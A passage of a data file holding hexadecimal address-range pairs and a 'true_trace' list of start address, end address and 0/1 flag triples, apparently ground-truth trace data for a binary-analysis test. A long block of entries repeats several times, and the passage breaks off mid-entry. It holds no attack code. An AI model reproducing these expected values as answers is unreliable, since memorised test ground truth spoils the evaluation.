x42c3fa,0x42c3ff),(0x42c405,0x42c406),(0x42c40b,0x42c40b),(0x42c411,0x42c411),(0x42c416,0x42c41b),(0x42c421,0x42c422),(0x42c427,0x42c42c),(0x42c432,0x42c433),(0x42c438,0x42c438),(0x42c43e,0x42c443),(0x42c449,0x42c44a),(0x42c44f,0x42c454),(0x42c45a,0x42c45b),(0x42c460,0x42c465),(0x42c46b,0x42c46c),(0x42c471,0x42c471),(0x42c477,0x42c47c),(0x42c482,0x42c483),(0x42c488,0x42c488),(0x42c48e,0x42c493),(0x42c499,0x42c49a),(0x42c49f,0x42c4a4),(0x42c4aa,0x42c4ab),(0x42c4b0,0x42c4b5),(0x42c4bb,0x42c4bc),(0x42c4c1,0x42c4c1),(0x42c4c7,0x42c4cc),(0x42c4d2,0x42c4d3),(0x42c4d8,0x42c4dd),(0x42c4e3,0x42c4e4),(0x42c4e9,0x42c4ee),(0x42c4f4,0x42c4f5),(0x42c4fa,0x42c4fa),(0x42c500,0x42c505),(0x42c50b,0x42c50c),(0x42c511,0x42c511),(0x42c517,0x42c51c),(0x42c522,0x42c523),(0x42c528,0x42c528),(0x42c52e,0x42c533),(0x42c539,0x42c53a),(0x42c53f,0x42c53f),(0x42c545,0x42c54a),(0x42c550,0x42c551),(0x42c556,0x42c556),(0x42c55c,0x42c55c),(0x42c561,0x42c566),(0x42c56c,0x42c56d),(0x42c572,0x42c577),(0x42c57d,0x42c57e),(0x42c583,0x42c583),(0x42c589,0x42c58e),(0x42c594,0x42c595),(0x42c59a,0x42c59f),(0x42c5a5,0x42c5a6),(0x42c5ab,0x42c5b0),(0x42c5b6,0x42c5b7),(0x42c5bc,0x42c5bc),(0x42c5c2,0x42c5c7),(0x42c5cd,0x42c5ce),(0x42c5d3,0x42c5d3),(0x42c5d9,0x42c5de),(0x42c5e4,0x42c5e5),(0x42c5ea,0x42c5ef),(0x42c5f5,0x42c5f6),(0x42c5fb,0x42c600),(0x42c606,0x42c607),(0x42c60c,0x42c60c),(0x42c612,0x42c617),(0x42c61d,0x42c61e),(0x42c623,0x42c628),(0x42c62e,0x42c62f),(0x42c634,0x42c639),(0x42c63f,0x42c640),(0x42c645,0x42c645),(0x42c64b,0x42c650),(0x42c656,0x42c657),(0x42c65c,0x42c65c),(0x42c662,0x42c667),(0x42c66d,0x42c66e),(0x42c673,0x42c673),(0x42c679,0x42c679),(0x42c67e,0x42c683),(0x42c689,0x42c68a),(0x42c68f,0x42c694),(0x42c69a,0x42c69b),(0x42c6a0,0x42c6a0),(0x42c6a6,0x42c6ab),(0x42c6b1,0x42c6b2),(0x42c6b7,0x42c6bc),(0x42c6c2,0x42c6c3),(0x42c6c8,0x42c6cd),(0x42c6d3,0x42c6d4),(0x42c6d9,0x42c6d9),(0x42c6df,0x42c6e4),(0x42c6ea,0x42c6eb),(0x42c6f0,0x42c6f0),(0x42c6f6,0x42c6fb),(0x42c701,0x42c702),(0x42c707,0x42c70c),(0x42c712,0x42c713),(0x42c718,0x42c71d),(0x42c723,0x42c724),(0x42c729,0x42c729),(0x42c72f,0x42c734),(0x42c73a,0x42c73b),(0x42c740,0x42c745),(0x42c74b,0x42c74c),(0x42c751,0x42c756),(0x42c75c,0x42c75d),(0x42c762,0x42c762),(0x42c768,0x42c76d),(0x42c773,0x42c774),(0x42c779,0x42c779),(0x42c77f,0x42c784),(0x42c78a,0x42c78b),(0x42c790,0x42c790),(0x42c796,0x42c79b),(0x42c7a1,0x42c7a2),(0x42c7a7,0x42c7a7),(0x42c7ad,0x42c7ad),(0x42c7b2,0x42c7b7),(0x42c7bd,0x42c7be),(0x42c7c3,0x42c7c8),(0x42c7ce,0x42c7cf),(0x42c7d4,0x42c7d4),(0x42c7da,0x42c7df),(0x42c7e5,0x42c7e6),(0x42c7eb,0x42c7f0),(0x42c7f6,0x42c7f7),(0x42c7fc,0x42c801),(0x42c807,0x42c808),(0x42c80d,0x42c80d),(0x42c813,0x42c818),(0x42c81e,0x42c81f),(0x42c824,0x42c824),(0x42c82a,0x42c82f),(0x42c835,0x42c836),(0x42c83b,0x42c840),(0x42c846,0x42c847),(0x42c84c,0x42c851),(0x42c857,0x42c858),(0x42c85d,0x42c85d),(0x42c863,0x42c868),(0x42c86e,0x42c86f),(0x42c874,0x42c879),(0x42c87f,0x42c880),(0x42c885,0x42c88a),(0x42c890,0x42c891),(0x42c896,0x42c896),(0x42c89c,0x42c8a1),(0x42c8a7,0x42c8a8),(0x42c8ad,0x42c8ad),(0x42c8b3,0x42c8b8),(0x42c8be,0x42c8bf),(0x42c8c4,0x42c8c4),(0x42c8ca,0x42c8ca),(0x42c8cf,0x42c8d4),(0x42c8da,0x42c8db),(0x42c8e0,0x42c8e5),(0x42c8eb,0x42c8ec),(0x42c8f1,0x42c8f1),(0x42c8f7,0x42c8fc),(0x42c902,0x42c903),(0x42c908,0x42c90d),(0x42c913,0x42c914),(0x42c919,0x42c91e),(0x42c924,0x42c925),(0x42c92a,0x42c92a),(0x42c930,0x42c935),(0x42c93b,0x42c93c),(0x42c941,0x42c941),(0x42c947,0x42c94c),(0x42c952,0x42c953),(0x42c958,0x42c95d),(0x42c963,0x42c964),(0x42c969,0x42c96e),(0x42c974,0x42c975),(0x42c97a,0x42c97a),(0x42c980,0x42c985),(0x42c98b,0x42c98c),(0x42c991,0x42c996),(0x42c99c,0x42c99d),(0x42c9a2,0x42c9a3),(0x42ca11,0x42ca1f),(0x42caa7,0x42cab7),(0x42cad3,0x42cae2),(0x42cb3e,0x42cb56),(0x42cb89,0x42cb95),(0x42cc9a,0x42ccb9),(0x42ccd5,0x42cced),(0x42cda8,0x42cdc6),(0x42ce22,0x42ce38),(0x42cf70,0x42cf85),(0x42d074,0x42d08c),(0x42d0cf,0x42d0e2),(0x42d112,0x42d120),(0x42d260,0x42d271),(0x42d373,0x42d390),(0x42d3e5,0x42d3f5),(0x42d42c,0x42d446),(0x42d4f3,0x42d50a),(0x42d54a,0x42d553),(0x42d56f,0x42d58d),(0x42d693,0x42d69f),(0x42d6d7,0x42d6ed),(0x42d733,0x42d73f),(0x42d770,0x42d785),(0x42d7a1,0x42d7b7),(0x42d862,0x42d876),(0x42d8e1,0x42d8ee),(0x42d9e9,0x42d9f4),(0x42da80,0x42da93),(0x42daaf,0x42dabb),(0x42db19,0x42db28),(0x42dbf7,0x42dc13),(0x42dc2f,0x42dc40),(0x42dc9a,0x42dcaa),(0x42dd12,0x42dd23),(0x42dd75,0x42dd8a),(0x42dda6,0x42ddb4),(0x42de0e,0x42de1f),(0x42de3b,0x42de4d),(0x42de69,0x42de83),(0x42dee7,0x42def3),(0x42df3e,0x42df4f),(0x42e027,0x42e044),(0x42e074,0x42e086),(0x42e0ca,0x42e0d9),(0x42e189,0x42e195),(0x42e2f9,0x42e308),(0x42e33f,0x42e356),(0x42e372,0x42e381),(0x42e3f6,0x42e40e),(0x42e42a,0x42e436),(0x42e4b9,0x42e4c2),(0x42e4f3,0x42e50c),(0x42e5c8,0x42e5d8),(0x42e624,0x42e644),(0x42e660,0x42e66d),(0x42e689,0x42e694),(0x42e709,0x42e724),(0x42e754,0x42e763),(0x42e77f,0x42e791),(0x42e7ad,0x42e7b9),(0x42e8d3,0x42e8e4),(0x42e9eb,0x42e9fe),(0x42eaa7,0x42eaca),(0x42eb6e,0x42eb7a),(0x42ec57,0x42ec63),(0x42ece5,0x42ecfd),(0x42ed2e,0x42ed41),(0x42ed5d,0x42ed70),(0x42eda0,0x42edbc),(0x42ee12,0x42ee26),(0x42ee42,0x42ee55),(0x42ee71,0x42ee81),(0x42ee9d,0x42eeb5),(0x42eed1,0x42eee7),(0x42ef1c,0x42ef32),(0x42ef9b,0x42efa9),(0x42eff9,0x42f008),(0x42f083,0x42f0a2),(0x42f0e5,0x42f0f7),(0x42f153,0x42f165),(0x42f181,0x42f19e),(0x42f1db,0x42f1f9),(0x42f24c,0x42f260),(0x42f2b8,0x42f2c7),(0x42f366,0x42f37e),(0x42f3ad,0x42f3c5),(0x42f3e1,0x42f3ed),(0x42f442,0x42f44c),(0x42f4a6,0x42f4c3),(0x42f53b,0x42f548),(0x42f5ea,0x42f5fe),(0x42f6e6,0x42f6f7),(0x42f799,0x42f7ab),(0x42f884,0x42f899),(0x42f8b5,0x42f8d3),(0x42f8ef,0x42f90d),(0x42f929,0x42f939),(0x42f96a,0x42f976),(0x42f9de,0x42f9f4),(0x42fa9d,0x42fab3),(0x42fb72,0x42fb92),(0x42fbae,0x42fbca),(0x42fc0a,0x42fc23),(0x42fc63,0x42fc6e),(0x42fce8,0x42fcfe),(0x42fd71,0x42fd82),(0x42fdc0,0x42fdcd),(0x42fe1a,0x42fe2b),(0x42ff13,0x42ff2b),(0x430040,0x430055),(0x430071,0x430080),(0x4300b7,0x4300c6),(0x430132,0x43013f),(0x43019c,0x4301bb),(0x430281,0x43029b),(0x4302f6,0x43030f),(0x43032b,0x430343),(0x430372,0x430384),(0x4303a0,0x4303b6),(0x4303d2,0x4303ec)
      ]
true_trace=[
    (0x42a370, 0x42a370, 0), (0x42ce54, 0x42ce60, 0), (0x42da72, 0x42da7b, 1), (0x42fb65, 0x42fb6d, 1), (0x42ec1d, 0x42ec30, 0), (0x42f73f, 0x42f75d, 0), (0x42f47d, 0x42f4a1, 0), (0x42f564, 0x42f594, 0), (0x42d30e, 0x42d321, 1), (0x42cfc1, 0x42cfce, 0), (0x42f39a, 0x42f3a8, 0), (0x42d5a9, 0x42d5c8, 1), (0x42d800, 0x42d80f, 0), (0x42e825, 0x42e83a, 0), (0x42fd9e, 0x42fdbb, 0), (0x42dc5c, 0x42dc79, 0), (0x42d61b, 0x42d635, 1), (0x42cc71, 0x42cc7e, 0), (0x42d9ae, 0x42d9c0, 0), (0x42e245, 0x42e259, 0), (0x42f134, 0x42f14e, 0), (0x42f323, 0x42f330, 0), (0x42ef4e, 0x42ef74, 0), (0x42fe86, 0x42fe95, 0), (0x42f62b, 0x42f636, 0), (0x42d814, 0x42d828, 1), (0x42e936, 0x42e947, 0), (0x430102, 0x430116, 0), (0x42dcc6, 0x42dcd8, 1), (0x42ca3b, 0x42ca57, 0), (0x42d02f, 0x42d04a, 0), (0x42ed8c, 0x42ed9b, 0), (0x42d90a, 0x42d926, 0), (0x42c9a4, 0x42c9c0, 0), (0x42ea59, 0x42ea71, 0), (0x42f695, 0x42f6ab, 0), (0x42cf15, 0x42cf26, 0), (0x42e964, 0x42e975, 0), (0x42db44, 0x42db56, 1), (0x42e7f0, 0x42e809, 0), (0x42dd54, 0x42dd70, 0), (0x42cd91, 0x42cda3, 1), (0x42eb06, 0x42eb18, 0), (0x42ef79, 0x42ef96, 1), (0x42fcc5, 0x42fce3, 1), (0x42df29, 0x42df39, 1), (0x42ec7f, 0x42ec8f, 1), (0x42d892, 0x42d8a2, 1), (0x42ebb1, 0x42ebd2, 0), (0x42fde9, 0x42fe06, 0), (0x42f34c, 0x42f361, 0), (0x42e8b4, 0x42e8ce, 0), (0x42e900, 0x42e910, 0), (0x42f9c1, 0x42f9d9, 0), (0x42f03d, 0x42f04c, 0), (0x42f29b, 0x42f2b3, 0), (0x42e80e, 0x42e820, 1), (0x430227, 0x43023a, 0), (0x42d2db, 0x42d2e8, 0), (0x42d8a7, 0x42d8b5, 0), (0x42e60e, 0x42e61f, 1), (0x42e2d3, 0x42e2f4, 1), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 0x42cea4, 0), (0x42e83f, 0x42e853, 0), (0x42fe0b, 0x42fe15, 1), (0x43020d, 0x430222, 0), (0x42d650, 0x42d664, 0), (0x4302cc, 0x4302dc, 0), (0x42e0ba, 0x42e0c5, 0), (0x42e060, 0x42e06f, 0), (0x42d0fe, 0x42d10d, 0), (0x42e39d, 0x42e3b2, 0), (0x42d75b, 0x42d76b, 0), (0x42e28e, 0x42e2a7, 0), (0x42d2c6, 0x42d2d6, 0), (0x42d490, 0x42d4a4, 0), (0x42e4a3, 0x42e4b4, 0), (0x42f429, 0x42f43d, 0), (0x42fc8a, 0x42fc9c, 0), (0x42eae6, 0x42eb01, 0), (0x42fa78, 0x42fa83, 0), (0x42cd2e, 0x42cd40, 0), (0x42e4d3, 0x42e4d9, 0), (0x42f762, 0x42f77b, 0), (0x42e0a2, 0x42e0b5, 0), (0x42f780, 0x42f794, 0), (0x42fa88, 0x42fa98, 0), (0x42d92b, 0x42d941, 0), (0x42e2ac, 0x42e2bc, 0), (0x42e14f, 0x42e163, 0), (0x42d16f, 0x42d185, 0), (0x42da2b, 0x42da37, 1), (0x42d63a, 0x42d64b, 0), (0x42e324, 0x42e33a, 0), (0x42e2c1, 0x42e2ce, 0), (0x42ea1a, 0x42ea30, 0), (0x42dfd7, 0x42dfec, 0), (0x42f873, 0x42f87f, 0), (0x42db5b, 0x42db6b, 0), (0x42fb4f, 0x42fb60, 0), (0x42d35e, 0x42d36e, 0), (0x42f335, 0x42f347, 0), (0x42e6ec, 0x42e704, 0), (0x42d0a8, 0x42d0b7, 0), (0x4302b7, 0x4302c7, 0), (0x4301fa, 0x430208, 0), (0x42f4df, 0x42f4ec, 0), (0x42fd34, 0x42fd4f, 0), (0x42d1c2, 0x42d1d9, 0), (0x42d71b, 0x42d72e, 0), (0x42f83f, 0x42f855, 0), (0x42c9d9, 0x42c9ea, 0), (0x430187, 0x430197, 0), (0x42cea9, 0x42ceb7, 0), (0x42d8ba, 0x42d8c5, 0), (0x42cd67, 0x42cd79, 0), (0x42ca70, 0x42ca7e, 0), (0x42df91, 0x42dfa0, 0), (0x43011b, 0x43012d, 0), (0x42f50e, 0x42f51b, 0), (0x42fbe6, 0x42fbf1, 0), (0x42ff63, 0x42ff73, 0), (0x42d946, 0x42d95a, 0), (0x42f468, 0x42f478, 0), (0x42fbf6, 0x42fc05, 0), (0x42cb25, 0x42cb39, 0), (0x42fae9, 0x42faf4, 1), (0x43015b, 0x43016b, 0), (0x42e528, 0x42e534, 0), (0x42ca5c, 0x42ca6b, 0), (0x42e9d8, 0x42e9e6, 0), (0x42f6c5, 0x42f6d1, 0), (0x42ebe9, 0x42ebfd, 0), (0x42d5cd, 0x42d5de, 0), (0x42ce97, 